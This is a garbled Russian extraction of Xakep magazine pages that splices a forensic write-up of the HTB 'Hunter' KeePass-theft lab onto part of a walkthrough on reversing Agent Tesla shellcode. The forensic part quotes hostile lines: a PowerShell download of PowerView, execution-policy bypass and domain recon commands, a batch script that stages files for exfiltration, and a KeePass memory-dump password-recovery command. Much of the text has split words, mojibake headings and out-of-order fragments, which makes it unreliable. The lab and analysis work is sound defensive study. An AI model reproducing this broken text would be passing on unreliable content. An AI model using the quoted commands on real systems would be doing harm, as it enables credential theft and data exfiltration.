Да вай отсорти руем по типам пра вил:

 "06-21" | count() by RuleTitle | sort -r count 

И точеч но пос мотрим на некото рые.

Meterpreter
 | "06-21" RuleTitle=="Antivirus Hacktool Detection"

Со бытие с  из жур нала 

:

EventId=1116 Microsoft-Windows-Windows 
Defender/Operational

Threat: Trojan:Win64/Meterpreter.E ¦ Severity: Severe ¦ Type: Trojan 
¦ User: NT AUTHORITY\SYSTEM ¦ Path: file:_C:\Users\alonzo.spire\
notepad.exe; shellopencmd:_HKLM\SOFTWARE\CLASSES\txtfile\shell\open\
command\\ ¦ Proc: Unknown 

Оно сиг нализи рует нам о том, что файл 
 опре делен как  и пытал ся 

или зак репил ся, исполь зуя сле дующую вет ку реес тра:

C:\Users\alonzo.spire\notepad.
exe Trojan:Win64/Meterpreter.E. зак репить ся

HKLM\SOFTWARE\CLASSES\txtfile\shell\open\command\\ 

Вре мя обна руже ния: .2023-06-21 12:33:55.002

Çàãðóæàåì PowerView
Пос мотрим события, свя зан ные с работой PowerShell.

"06-21" | PwSh | Details!="HostApplication: n/a"

В резуль тате получим мно го событий  и одно событие
.

EventId=4104
EventId=400

Со бытие ниже сви детель ству ет о заг рузке зло умыш ленни ком ути литы
PowerView, пред назна чен ной для пос тэкс плу ата ции в сре дах Active Directory.
Ути лита сох ранена с име нем .clean.ps1

Вре мя регис тра ции события — .2023-06-21 11:30:40.755

Data: Available ¦ Data: NewEngineState=Available 
PreviousEngineState=None SequenceNumber=13 HostName=ConsoleHost 
HostVersion=5.1.19041.2673 HostId=b9505ee1-faf5-41b3-af08-
7dddad696ee3 HostApplication=powershell -c (New-Object Net.WebClient)
.DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/
PowerSploit/master/Recon/PowerView.ps1', 'clean.ps1') 
EngineVersion=5.1.19041.2673 RunspaceId=248a767b-db92-435f-bda4-
5e42213ebf64 PipelineId= CommandName= CommandType= ScriptName= 
CommandPath= CommandLine= ¦ Data: None 

Со бытия  регис три руют кус ки кода PowerView, которые исполь зуют 

.

4104 по- 

доз ритель ные фун кции

RDP
Да вай уточ ним вре мя работы хакера по RDP. Для это го еще раз обра тим ся
к событи ям авто риза ции и к жур налам:

;• Terminal-Services-RemoteConnectionManager/Operational

.• TerminalServices-LocalSessionManager/Operational

"06-21" | 4624. or "RDS-"

Ав ториза ции RDP

Мо жем пред положить, что RDP-сес сия дли лась с 
по .

2023-06-21 11:44:51.426
2023-06-21 12:53:45.809

WWW

 (WinITPro)
•Прос мотр и ана лиз логов RDP-под клю чений

в Windows
 (PDF, Google Drive)•RDP Flowchart

(Cyb3rSn0rlax)
•DFIR-03: RDP Authentication Artifacts

На этом инте рес ные события закон чились, не забудем внес ти информа цию
в IRIS.

Продолжение статьи →

https://zui.brimdata.io/
https://www.wireshark.org/
https://xakep.ru/2023/02/02/zui/
https://github.com/Yamato-Security/hayabusa
https://habr.com/ru/companies/rvision/articles/738518/
https://attack.mitre.org/techniques/T1546/001/
https://github.com/PowerShell/PowerShell/blob/02b5f357a20e6dee9f8e60e3adb9025be3c94490/src/System.Management.Automation/engine/runtime/CompiledScriptBlock.cs
https://winitpro.ru/index.php/2018/09/25/analizing-rdp-logs-windows-terminal-rds/
https://drive.google.com/file/d/1aNrqL174RulfBa4I0_KlOqOiYChdqrKM/view
https://www.unh4ck.com/dfir/rdp-authentication-artifacts
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ÀÐÒÅÔÀÊÒÛ ÂÛÏÎËÍÅÍÈß ÏÐÎÖÅÑÑÎÂ

SRUM
Нач нем со , так как в нашем
инци ден те мно го сетевых вза имо дей ствий.

SRUM (Windows System Resource Usage Monitor)

По лучим информа цию из SRUM в виде JSON с помощью тул зы .сhainsaw

./chainsaw analyse srum -s ./2023-06-22T092426_Acquisition/C/Windows/
System32/config/SOFTWARE ./2023-06-22T092426_Acquisition/C/Windows/
System32/SRU/SRUDB.dat -o ./srum_chainsaw.json 

В резуль тате име ем вывод, как на скрин шоте ниже.

Вы вод работы chainsaw

Заг рузим получен ный файл в ZUI и нач нем ана лиз с таб лицы Windows Network
Data Usage Monitor.

over this | TableName=="Windows Network Data Usage Monitor" | fuse | 
cut TimeStamp, UserName, AppName, AppId, BytesRecvd, BytesSent | 
sort -r TimeStamp 

2023-06-21T12:53:00Z 
\device\harddiskvolume3\program files\filezilla ftp client\filezilla.
exe 

FileZilla, сетевое вза имо дей ствие из SRUM

2023-06-21T12:53:00Z 
\device\harddiskvolume3\windows\system32\certutil.exe 

Certutil, сетевое вза имо дей ствие из SRUM

2023-06-21T12:17:00Z 
\device\harddiskvolume3\windows\system32\windowspowershell\v1.0\
powershell.exe 

PowerShell, сетевое вза имо дей ствие из SRUM

2023-06-21T12:17:00Z 
\device\harddiskvolume3\windows\system32\certutil.exe 

Certutil, сетевое вза имо дей ствие из SRUM

2023-06-21T12:17:00Z 
\device\harddiskvolume3\program files\process hacker 2\processhacker.
exe 

Process Hacker, сетевое вза имо дей ствие SRUM

Мо жем пред положить, что дан ные укра ли с исполь зовани ем FileZilla, а дамп
про цес са KeePass сде лали через Process Hacker. Новым обсто ятель ством
для нас ста новит ся исполь зование тул зы certutil, которая поз воля ет заг ружать
фай лы.

Да вай пос мотрим информа цию в таб лице App Timeline Provider. Пос ле
выпол нения PsExec зло умыш ленник получа ет дос туп в кон тек сте учет ной
записи . Сле дующий зап рос поможет нам понять,
какие про цес сы запус кал хакер.

NT AUTHORITY\System

 | 
 or 

 

over this | "06-21" TableName=="Application Resource Usage 
Provider" TableName=="App Timeline Provider" | fuse | cut 
TimeStamp,EndTime, DurationMS, UserName, AppName, TableName | sort -r
EndTime | UserName=="systemprofile"

Про цес сы поль зовате ля SYSTEM

Мо жем пред положить, что были выпол нены коман ды , 

и PowerShell. Запуск PowerShell сов пада ет со вре менем регис тра ции заг рузки
PowerView.

net1.exe net.exe

Ка кие про цес сы были свя заны с поль зовате лем ?alonzo.spire

 | 
 or 

 

over this | "06-21" TableName=="Application Resource Usage 
Provider" TableName=="App Timeline Provider" | fuse | cut 
TimeStamp,EndTime, DurationMS, UserName, AppName, TableName | sort -r
EndTime | UserName=="alonzo.spire"

Про цес сы из SRUM для поль зовате ля alonzo.spire

Из SRUM мы узна ли, что поль зователь  соз давал такие про цес- 

сы:

alonzo.spire

;• keepass

;• filezilla

;• powershell

;• powershell_ise

;• WinRAR

;• RAR

.• ProcessHacker

Prefetch
Да вай заг лянем в Prefetch-фай лы, они содер жат вре мя пос ледних вось ми
запус ков про цес са и информа цию о фай лах, с которы ми про цесс вза имо дей- 
ство вал.

Фай лы Prefetch рас положе ны в . Пар сим их 

 и закиды ваем в ZUI. Нач нем ана лиз с дан ных, которые у нас уже есть.

C:\Windows\prefetch\ скрип- 

том

Ñåññèÿ PsExec
Служ ба PsExec —  ( ).owujomcy.exe over this | sort -r last_exec_time

Ко ман ды PsExec

На скрин шоте выше пред став лены про цес сы, пред положи тель но свя зан ные
с сес сией PsExec: , , , ,

, , . Похоже на стан дар тный набор команд,
выпол няемых при ком про мета ции машины.

owujomcy.exe cmd.exe whoami.exe certutil.exe
powershell.exe net.exe net1.exe

Опыт ный читатель зна ет, что в Prefetch хра нит ся информа ция о вза имо- 
дей ствии про цес са с дру гими фай лами в пер вые десять секунд его работы.
Как мы видим из скрин шота выше, вре мени меж ду коман дами прош ло гораз- 
до боль ше.

В фай лах и дирек тори ях, свя зан ных с про цес сом , ано малий
не наш лось, поэто му можем убрать его из цепоч ки про цес сов выше.

certutil.exe

Вре мя запус ка про цес сов:
 — ;• WHOAMI.EXE 2023-06-21T11:19:59.915253

 —  (сов пада ет
со вре менем заг рузки PowerView, но в свя зях отсутс тву ет файл 

);

• POWERSHELL.EXE 2023-06-21T11:30:39.567358

clean.

ps1

 — ;• NET1.EXE 2023-06-21T11:33:20.404245

 — .• NET.EXE 2023-06-21T11:33:20.326231

RDP-ñåññèÿ
Да вай пос мотрим про цес сы, которые пред положи тель но отно сят ся к RDP-
сес сии.

Про цес сы из RDP-сес сии

Срав нива ем с резуль татами, получен ными из SRUM. Ничего нового не появи- 
лось, но давай гля нем еще дан ные о прош лых запус ках и о свя зан ных фай лах.

Вре мя запус ков :POWERSHELL.EXE
;• 2023-06-21T11:51:01.844703

;• 2023-06-21T11:20:59.195584

;• 2023-06-21T11:20:28.235246

;• 2023-06-21T11:20:21.166621

;• 2023-06-21T11:19:56.205089

;• 2023-06-21T11:19:49.169370

;• 2023-06-21T11:19:30.172513

.• 2023-06-21T11:19:11.784861

Вре мя запус ков :FILEZILLA.EXE
;• 2023-06-21T11:59:54.640629

.• 2023-06-21T11:59:46.703003

В свя зан ных фай лах нич то не ука зыва ет на эксфиль тра цию, но мы пом ним
про пер вые десять секунд.

Про цесс  пре дос тавил дос таточ но новой информа ции:  —

.

RAR.EXE RAR.EXE
2023-06-21T12:13:15.784399

Фай лы, свя зан ные с про цес сом RAR.EXE

Фай лы, свя зан ные с про цес сом RAR.EXE

На скрин шотах выше мы видим, что хакер соз дал дирек торию 
и копиро вал туда фай лы.

Exfil

Про цесс :WINRAR.EXE
;• 2023-06-21T12:18:04.408710

.• 2023-06-21T12:07:55.183899

Фай лы, свя зан ные с про цес сом WINRAR.EXE

Про цесс :CERTUTIL.EXE
;• 2023-06-21T12:29:49.237697

;• 2023-06-21T12:29:42.612611

.• 2023-06-21T12:12:35.575593

В свя зях наш лось кое-что инте рес ное.

Фай лы, свя зан ные с про цес сом CERTUTIL.EXE

Из общей кар тины в гла за бро сают ся фай лы вот в этом поль зователь ском
катало ге:

\VOLUME{01d951602330db46-52233816}\USERS\ALONZO.SPIRE\
Вот их пол ный спи сок:

APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\METADATA\
3DC3856568F41DEBDC478970629B1FC6 
APPDATA\LOCAL\MICROSOFT\WINDOWS\INETCACHE\IE\4TSWMJTT\NOTEPAD[1].EXE 
NOTEPAD.EXE 
APPDATA\LOCAL\MICROSOFT\WINDOWS\INETCACHE\IE\TFR2JWYD\NOTEPAD[1].EXE 
APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\METADATA\
A3CEB2B928510B461A9B19D9B4B8D5B6 
APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\CONTENT\
A3CEB2B928510B461A9B19D9B4B8D5B6 
APPDATA\LOCAL\MICROSOFT\WINDOWS\INETCACHE\IE\OOI66Y9I\SCOUT[1].BAT 
PICTURES\SCOUT.BAT 

По иск стро ки user-agent с упо мина нием certutil в тра фике не дал резуль татов,
ско рее все го, из-за того, что дамп непол ный.

Нам пред сто ит узнать содер жимое фай ла  и .scout.bat notepad.exe

Shimcache è Amcache
Про дол жим ана лиз арте фак тов, ука зыва ющих на запуск или наличие фай лов
про цес сов  и . Для их ана лиза будем исполь зовать
chainsaw и ZUI.

Shimcache Amcache

INFO

При ана лизе Shimcache сто ит пом нить, что в нем
могут хра нить ся фай лы, которые не 

 в про вод нике Windows
(explorer.exe).

за пус кались,
а были отоб ражены

Дан ные из Shimcache

Ни чего нового мы не обна ружи ли, за исклю чени ем вре мени пос ледне го
изме нения фай ла:  запус кался

в .

C:\Users\alonzo.spire\notepad.exe
2023-06-21T12:29:49.597Z

Пе рей дем к . Для его ана лиза вос поль зуем ся ути литой RegRipper.Amcache

regripper -r /data/Amcache.hve -p amcache 

В Amcache уда лось най ти хеш SHA-1 фай ла служ бы PsExec:

2023-06-21T11:33:14.594430700Z 
c:\windows\owujomcy.exe 23873bf2670cf64c2440058130548d4e4da412dd 

VirusTotal PsExec

Продолжение статьи →

https://www.youtube.com/watch?v=Uw8n4_o-ETM&list=PLlv3b9B16ZadqDQH0lTRO4kqn2P1g9Mve&index=3&t=1s&ab_channel=13Cubed
https://github.com/WithSecureLabs/chainsaw
https://github.com/sumeshi/prefetch2es
https://www.thedfirspot.com/post/evidence-of-program-existence-shimcache
https://cyber.gouv.fr/sites/default/files/2019/01/anssi-coriin_2019-analysis_amcache.pdf


УРОКИ ФОРЕНЗИКИ
РАССЛЕДУЕМ КРАЖУ ПАРОЛЕЙ

KEEPASS НА ПРИМЕРЕ HTB HUNTER

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÀÐÒÅÔÀÊÒÛ ÔÀÉËÎÂÎÉ È ÎÏÅÐÀÖÈÎÍÍÎÉ ÑÈÑÒÅÌÛ

$MFT
Спар сим  ути литой  и заг рузим дан ные в ZUI.C:\$MFT MFT

Най дем, где были сох ранены фай лы  и .clean.ps1 Scout.bat

Рас положе ние clean.ps1

Рас положе ние Scout.bat

Пос мотрим, есть ли информа ция о фай лах, которые хакер эксфиль тро вал:

fuse | keepassproc.zip or Database.kdbx or redacted 

Ин форма ция об эксфиль тро ван ных фай лах

Вре мя соз дания дам па про цес са KeePass

Из скрин шота выше мы узна ём, что дамп про цес са KeePass был сде лан
в .2023-06-21T12:06:42.281943Z

Windows Search Database
В качес тве пос ледне го арте фак та ОС рас смот рим .
Для его ана лиза вос поль зуем ся ути литой .

Windows Search Database
sidr

./sidr ~./2023-06-22T092426_Acquisition/C/ -f json -o ~/sidr/ 

В резуль тате мы получи ли три фай ла:
;• File_Report_20240503_120219.452284.json

;• Internet_History_Report_20240503_120219.452528.json

.• Activity_History_Report_20240503_120219.452589.json

Нас инте ресу ет пер вый файл, давай заг рузим его в ZUI.
Пос мотрим, какие рас ширения фай лов есть в базе:

 fuse | "06-21" | count() by System_ItemType | sort -r count 

Рас ширения фай лов в Windows Search Database

На иболь ший инте рес для нас пред став ляет информа ция о .bat:

 | fuse | "06-21" System_ItemType==".bat

Ин форма ция о фай ле Scout.bat

В пос леднем стол бце — часть содер жимого batch-фай ла. Скрипт ниже пред- 
став лен не пол ностью, пос коль ку осталь ные стро ки в нем заком менти рова ны.

 set "source=%userprofile%"
 set "destination=%temp%\Exfil"

  if not exist "%destination%" mkdir "%destination%"

 /r  %%a  .pdf .xls .txt .ppt 
.pptx   

for "%source%" in (*.docx *.docm * * * * *.
xlsx * ) do (

    copy "%%a" "%destination%"
)

xfil cd %TEMP%\E
"C:\Program Files\WinRAR\Rar.exe" a Exfil 

Вот что дела ет скрипт:
ус танав лива ются перемен ные  и ;• source destination

ес ли дирек тория  отсутс тву ет, она соз дает ся;• %temp%\Exfil

ко пиру ются фай лы, под ходящие под мас ку;•
соз дает ся архив .• %TEMP%\Exfil\Exfil.rar

ÀÐÒÅÔÀÊÒÛ ÈÑÏÎËÜÇÓÅÌÛÕ ÏÐÈËÎÆÅÍÈÉ È ÓÒÈËÈÒ

FileZilla
В дирек тории можем пос мотреть кон фиг FileZilla.

C:\Users\alonzo.spire\AppData\Roaming\FileZilla\recentservers.xml
<?xml version="1.0" encoding="UTF-8"?>

  <FileZilla3 version="3.63.2.1" platform="windows">
   <RecentServers>
       <Server>
           <Host>13.235.18.128</Host>

21           <Port> </Port>
0           <Protocol> </Protocol>

0           <Type> </Type>
           <User>theyoungwolf</User>

            <Pass encoding="base64">VGhlTG9uZ05pZ2h0SXNDb21pbmc=</
Pass>

1           <Logontype> </Logontype>
           <PasvMode>MODE_DEFAULT</PasvMode>

Auto           <EncodingType> </EncodingType>
0           <BypassProxy> </BypassProxy>

       </Server>
       <Server>
           <Host>ypmlads.ftp.fileserver</Host>

4825           <Port> </Port>
0           <Protocol> </Protocol>

0           <Type> </Type>
           <User>cyberjunkie</User>

            <Pass encoding="base64">VWlvbnNrSEdUTERT</Pass>
1           <Logontype> </Logontype>

           <PasvMode>MODE_DEFAULT</PasvMode>
Auto           <EncodingType> </EncodingType>
0           <BypassProxy> </BypassProxy>

       </Server>
       <Server>
           <Host>13.45.67.23</Host>

21           <Port> </Port>
0           <Protocol> </Protocol>

0           <Type> </Type>
           <User>alonzo.spire</User>

            <Pass encoding="base64">VGhlQXdlc29tZUdyYXBl</Pass>
1           <Logontype> </Logontype>

           <PasvMode>MODE_DEFAULT</PasvMode>
Auto           <EncodingType> </EncodingType>
0           <BypassProxy> </BypassProxy>

       </Server>
   </RecentServers>
</FileZilla3>

Изу чив этот файл, можем пред положить, что хакер пытал ся под клю чить ся
к нес коль ким FTP-сер верам. Добавим их в IoC.

Certutil
Кеш ути литы  ( ) находит ся в этой дирек тории:certutil yet

C:\Users\alonzo.spire\AppData\LocalLow\Microsoft\CryptnetUrlCache 

Со дер жимое :Scout.bat

C:\Users\alonzo.spire\AppData\LocalLow\Microsoft\CryptnetUrlCache\
Content\A3CEB2B928510B461A9B19D9B4B8D5B6 

URL для заг рузки :Scout.bat

hxxp://oakfurnitures.uk/ovxlabd/campaign/uk_orgs/Scout.bat 

Най ти этот URL мож но здесь:

C:\Users\alonzo.spire\AppData\LocalLow\Microsoft\CryptnetUrlCache\
MetaData\A3CEB2B928510B461A9B19D9B4B8D5B6 

URL для заг рузки :notepad.exe

hxxp://oakfurnitures.uk/ovxlabd/campaign/uk_orgs/notepad.exe 

На ходит ся в этом фай ле:

C:\Users\alonzo.spire\AppData\LocalLow\Microsoft\CryptnetUrlCache\
MetaData\cat 3DC3856568F41DEBDC478970629B1FC6 

Èñòîðèÿ PowerShell
Ис торию команд, выпол няемых в кон соли PowerShell, можем най ти в сле- 
дующем фай ле:

C:\Users\alonzo.spire\AppData\Roaming\Microsoft\Windows\PowerShell\
PSReadline\ConsoleHost_history.txt 

Его содер жимое пред став лено ниже. Выпол няют ся коман ды из PowerView.

powershell -ep bypass
. .\clean.ps1
Get-NetDomainController
Get-NetDomainUsers
Get-NetUsers
Get-NetUser

KeePass CVE-2023-32784
Нас тало вре мя разоб рать ся с дам пом про цес са KeePass и с укра ден ной
базой паролей. Для экс плу ата ции уяз вимос ти я вос поль зовал ся 
с GitHub. Дамп хра нит ся в архи ве с паролем, и могу ска зать, что наш хакер
не очень любит исполь зовать раз ные пароли.

скрип том

Для исполь зования скрип та вве дем коман ду

python3 keepass_dump.py -f ~/Downloads/Hunter_Acquisition/
keepassproc.dmp --recover

В резуль тате получим вос ста нов ленный пароль от KDBX, в котором хра нят ся
учет ные дан ные адми нис тра тора домена Active Directory.

ÂÛÂÎÄÛ

В про цес се рас сле дова ния мы вспом нили, где искать некото рые арте фак ты
Windows, фай ловой сис темы NTFS и ути лит, которы ми могут поль зовать ся
хакеры.

Мы вос созда ли тай млайн инци ден та в IRP. Ниже — получив шаяся пол ная
кар тина.

Тай млайн инци ден та

В зак лючение хочу посове товать ана лити кам вни матель но под ходить к изу- 
чению арте фак тов и собирать инс тру мен тарий на все слу чаи жиз ни.

https://github.com/omerbenamram/mft?tab=readme-ov-file
https://www.aon.com/cyber-solutions/aon_cyber_labs/windows-search-index-the-forensic-artifact-youve-been-searching-for/
https://github.com/strozfriedberg/sidr.git
https://u0041.co/blog/post/3
https://thinkdfir.com/2020/07/30/certutil-download-artefacts/
https://github.com/z-jxy/keepass_dump
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ВЗЛОМ

В сегод няшней статье я покажу, что делать
с извле чен ным из вре доно са шелл-кодом:
будем его запус кать и отла живать. Раз- 
берем ся, как работать с фун кци ей WinAPI,
если она вызыва ется по хешу, а в про цес се
отладки рас шифру ем полез ную наг рузку
и научим ся извле кать инфу из обфусци- 
рован ных фай лов .NET.

Мы про дол жим работу, начатую в моей , где мы начали ревер- 
сить Agent Tesla и вытащи ли шелл-код из инстал лятора NSIS.

прош лой статье

ÇÀÃÐÓÆÀÅÌ ØÅËË-ÊÎÄ Â ÄÈÇÀÑÑÅÌÁËÅÐ

В прош лый раз мы догово рились исполь зовать Ghidra, про дол жим тра дицию
и в этой статье. Итак, заг ружа ем файл c шелл-кодом в дизас сем блер и видим,
что начало шелл-кода не дизас сем бли рова лось: перед нами прос то необ- 
работан ные бай ты. Это не нуж но игно риро вать, потому что неп равиль ное
начало ана лиза может поломать кучу осталь ного про ана лизи рован ного кода.

Ре зуль тат заг рузки шелл-кода, пер вые бай ты не дизас сем бли рова лись

Не страш но, прос то ста вим кур сор на начало бай товой стро ки и выбира ем
в кон текс тном меню Disassemble, даль ше Ghidra сде лает все за нас.

Ис пра вили дизасм шелл-кода

Пос ле того как при вели ана лиз в порядок, видим с самого начала шелл-кода
переход в фун кцию. Идем в нее и смот рим в начало — там видим пор тянку
кода, где дан ные помеща ются на стек. При водим эти дан ные в удо бочи- 
таемый вид (при водим чис ла в char в кон текс тном меню), видим появив шееся
наз вание фай ла . Вспо мина ем, что это один из трех фай лов,

которые находи лись в NSIS-инстал ляторе. Ста ло быть, шелл-код работа ет
с этим фай лом.

djdqvq.sra

Шелл-код работа ет с djdqvq.sra

Ин терес но, что будет, если заг рузить этот файл в DIE? Инс тру мент не опре- 
делил ров ным сче том ничего, но на вклад ке энтро пии мож но уви деть кар тину,
харак терную для сплош ного шиф ротек ста.

Эн тро пия djdqvq.sra

Лад но, пока к это му фай лу не под сту пить ся, не разоб рав шелл-код, пос коль ку
имен но он — клю чик к это му фай лу. Воз вра щаем ся в Ghidra и лис таем уже
откры тую фун кцию вниз, видим работу с боль шими чис лами.

Вы зовы WinAPI по их хешу

На метан ный глаз сра зу заметит, что это похоже на вызовы WinAPI по хешу —
одну из  сок рытия исполь зования WinAPI в коде. Кро ме того, если пос- 
мотреть по ссыл кам, есть мас са похоже го кода с переда чей хеша в фун кцию

, то есть эта фун кция еще и вызыва ется по все му коду. Сом- 

нений в наз начении  нет, но есть проб лема: ста тичес ким ана- 
лизом это не победить (писать скрипт, импле мен тиру ющий алго ритм фор- 
мирова ния хеша, не пред лагать), нуж но идти в отладчик.

тех ник

FUN_00000073
FUN_00000073

Вы зовы FUN_00000073 с переда чей хеша в качес тве аргу мен та находят -
ся по все му коду

ÇÀÃÐÓÆÀÅÌ ØÅËË-ÊÎÄ Â ÎÒËÀÄ×ÈÊ

От ладчик помога ет разоб рать ся в коде по ходу его работы, но как зас тавить
работать дамп шелл-кода? Это же, мяг ко говоря, не обыч ный исполня емый
файл, и, если заг рузить этот дамп пря мо в отладчик, он ска жет «фи» и выдаст
ошиб ку. Не беда, есть нес коль ко спо собов отладки шелл-кода:

на писать тул зу, которая пря мо в сво ем коде вызыва ет шелл-код, хра- 
нящий ся как бай товый мас сив;

•

ис поль зовать уже готовый инс тру мент, который соз даст из шелл-кода PE-
файл, а даль ше его мож но будет заг рузить и отла дить как обыч ный файл;

•

ис поль зовать тул зу, которая заг ружа ет шелл-код в память и исполня ет его
в сво ем кон тек сте, а отладчи ком мы при соеди няем ся к ее про цес су.

•

Не зави симо от выбора в ито ге мы дол жны ока зать ся в отладчи ке, в начале
шелл-кода.

Äåêîäèðóåì õåøè WinAPI
От ладчик x86dbg (x64dbg) — замеча тель ный инс тру мент, дос той ный пре- 
емник все ми любимо го OllyDbg. Почему бы нам не зас тавить его работать
на нас, авто мати зируя про цесс декоди рова ния хешей? Давай поп робу ем,
но для это го при дет ся нем ного покопать ся в лис тинге кода и най ти некото рые
законо мер ности.

Ра зуме ется, нам инте рес на фун кция вызова хен длов WinAPI по их хешу,
в Ghidra она называ ется  — это зна чит, что RAW-сме щение сос- 

тавля ет 0x73 бай та от начала шелл-кода.

FUN_00000073

Что бы най ти эту фун кцию в x86dbg, нуж но к началь ному адре су памяти,
по которо му у нас заг ружен шелл-код, при бавить 0x73. Нап ример, у меня
шелл-код заг рузил ся по адре су , сле дова тель но, что бы пос тавить

точ ку оста нова на начало фун кции, в x86dbg нуж но ввес ти коман ду 

 и запус тить выпол нение либо долис тать до это го адре са
вруч ную и нажать F2.

0x00FB0000
bp 

0x00FB0000 + 0x73

Ра зуме ется, при вызове фун кции на сте ке будут лежать ее аргу мен ты,
которые мож но видеть в окне обзо ра сте ка в x86dbg. Там мы можем уви деть
переда ваемые зна чения хешей и файл сис темной биб лиоте ки, отку да берет- 
ся адрес получа емой фун кции.

Ес ли поз волить выпол нить ся этой фун кции до кон ца (до ), то мож но
уви деть, что в EAX лежит резуль тат ее работы — адрес WinAPI .

Если пос тавить бряк на то мес то, где мы сей час сто им (инс трук ция  фун- 

кции , ее пос ледняя инс трук ция), и пус тить отладчик даль ше, то
в EAX мы уви дим сле дующее декоди рован ное имя WinAPI.

ret
ExitProcess

ret
FUN_00000073

По луча ется, ког да мы сто им на сме щении  (у меня 

), то в EAX будет адрес декоди рован ной WinAPI.

RAW 0xC9 0x00FB0000 +
0xC9 = 0x00FB00C9

Итак, пос ледова тель ность дей ствий обоз начили, оста лось ее ска зать
отладчи ку, что бы он ее реали зовал самос тоятель но.

Вхо дим в режим редак тирова ния усло вия брейк-пой нта, уста нов ленно го
на сме щении 0xC9, и зада ем усло вия дей ствий.

Ре дак тиру ем точ ку оста нова x86dbg и учим его декоди ровать WinAPI

В качес тве самопис ца будет выс тупать лог отладчи ка. Основные поля,
которые мы запол нили:

Log Text со зна чени ем ;• { a:eax }

Command Text со зна чени ем .• bp eax;run;

Зна чение  говорит отладчи ку записы вать в лог содер жимое EAX, трак-

товать его как адрес и получать информа цию о нем точ но так же, как это про- 
исхо дит в окне отоб ражения регис тров, ког да про исхо дит оста нов на 
в фун кции вызова WinAPI по хешу. Вто рая строч ка прос то говорит отладчи ку
ста вить брейк-пой нт, то есть оста нав ливать ся в кон це этой фун кции.

a:eax

ret

INFO

Я видел, как люди пишут декодер хешей WinAPI
на Python в виде скрип та для IDA Pro, что бы раз- 
матывать алго ритм хеширо вания, а затем реали- 
зуют его в скрип те. Тех ника, которую я демонс- 
три рую здесь, нам ного про ще, но име ет тот же
эффект, потому что при такой декоди ров ке тоже
мож но будет раз метить лис тинг дизас сем бле ра,
толь ко вруч ную.

Èññëåäóåì djdqvq.sra
Те перь, трас сируя шелл-код, мы можем начать рас шифров ку оставше гося
фай ла , который при берег ли с самого начала.djdqvq.sra

Вни матель но смот рим на трас су выпол нения (лог отладчи ка), помеча ем
инте рес ные фун кции, что бы при пов торном заходе к ним вер нуть ся. Одна
из таких фун кций — , она собира ет две стро ки в одну. Если пос- 

мотреть на стек, то сра зу уви дим ее аргу мен ты.

lstrcatW

Ар гумен ты фун кции lstrcatW, отоб ража емые в окне сте ка x86dbg

По нят но, что даль ше идет код копиро вания фай ла  из уста нов- 
щика во вре мен ный каталог (по сфор мирован ному фун кци ей  пути),

который виден на скрин шоте. Даль ше идет его откры тие при помощи
. Так как дело про исхо дит в извле чен ном шелл-коде, конеч но,

будет ошиб ка, потому что файл не ско пиру ется.

djdqvq.sra
lstrcatW

CreateFileW

Что бы наша отладка не сло малась, нуж но прос то ско пиро вать файл
 во вре мен ную пап ку самос тоятель но (естес твен но, все дела ем

в вир туаль ной машине, отклю чен ной от интерне та). Не забыва ем, что
 зашиф рован, поэто му далее идет вызов , выделя- 

ющий память для рас шифро ван ного кода. Теперь оста нав лива емся на инс- 
трук ции  фун кции .

djdqvq.sra

djdqvq.sra VirtualAlloc

ret VirtualAlloc

Вы деле ние буфера памяти для рас шифро ван ного кода из djdqvq.sra

Даль ше стан дар тный алго ритм дей ствий:
1. Из вле каем фун кци ей  из регис тра EAX адрес выделен ной

памяти.
VirtualAlloc

2. Ста вим точ ку оста нова по дос тупу на начало выделен ной области памяти.
3. Пос ле уста нов ки брейк-пой нта отпуска ем прог рамму на выпол нение.

Основная цель здесь — отло вить момент, ког да полез ная наг рузка будет
рас шифро вана или нач нет выпол нять ся. Нуж но быть готовым к тому, что
точ ка оста нова сра бота ет нес коль ко раз. В памяти ждем появ ления
осмыслен ного кода или заголов ка исполня емо го фай ла PE (Portable
Executable).

4. В кон це дам пим полез ную наг рузку в файл силами x86dbg (Dump Memory
To File — так же, как мы сбра сыва ли шелл-код в пре дыду щей статье).

Пос ле про хож дения этих шагов заг рузим получен ный файл в DIE.

Рас шифро ван ный djdqvq.sra в DIE

DIE сра зу же ана лизи рует весь файл, и мы наб люда ем такую кар тину:
файл ничем не запако ван, энтро пия нор маль ная;•
име ется ресурс, который был рас познан как неч то с заголов ком PE (!);•
ре сурс написан на .NET.•

INFO

Рань ше DIE не ска ниро вал ресур сы, такая воз- 
можность появи лась в пос ледних вер сиях. Всег да
исполь зуй пос ледние вер сии: помимо новых
багов, в них могут быть инте рес ные воз можнос ти!
Но что, если у тебя ста рый DIE? То, что в фай ле
про изво дит ся работа с ресур сами, мож но опре- 
делить, нап ример, по импорти руемым API-фун- 
кци ям.

При помощи Process Hacker вытас кива ем ресурс, который ока зыва ется
исполня емым фай лом .NET. В прин ципе, тут есть два под хода: поп робовать
деком пилиро вать ресурс и наде ять ся, что он не обфусци рован (ина че
еще при дет ся раз бирать ся с обфуска цией), либо попытать ся динами чес ки
вытащить инфу из это го фай ла, исполь зуя сто рон нее ПО. Естес твен но,
выберем вто рой путь: он быс трее и про ще, а вре мя, как извес тно, день ги.

GarbageMan
Клас сичес кие вирусы обыч но пишут на C/C++, ассем бле ре и про чих низ- 
коуров невых язы ках. Но это не обя затель но дела ет их наибо лее эффектив- 
ными. Мал варь, написан ная на .NET, может дос тавить кучу проб лем, потому
что методы обфуска ции это го кода ста ли весь ма могучи ми.

В какой-то сте пени это му помог ло откры тие исходни ков плат формы .NET.
Конеч но же, вир мей керы изу чили исходни ки и сде лали соот ветс тву ющие
выводы. В ито ге мы име ем мно гос лой ное шиф рование, раз личные манипу- 
ляции с про цес сами, мас су анти отла доч ных и обфусци рующих при емов.

Что бы как-то решать такие проб лемы, была соз дана замеча тель ная прог- 
рамма под наз вани ем . Она нам и поможет в ана лизе фай ла.
Дело в том, что рабочий Heap и стек .NET-при ложе ния пред став ляют собой
нас тоящий кла дезь информа ции о типах дан ных, свя зан ности объ ектов друг
с дру гом и про чих вещах. При помощи GarbageMan мы будем ее извле кать
и иссле довать.

GarbageMan

GarbageMan соз дает сним ки сос тояния заг ружен ного в него при ложе ния
и отоб ража ет информа цию: даже если в фай ле исполь зует ся обфусци рова- 
ние или шиф рование (как в нашем слу чае), во вре мя выпол нения вре донос
рас шифру ет эту информа цию.

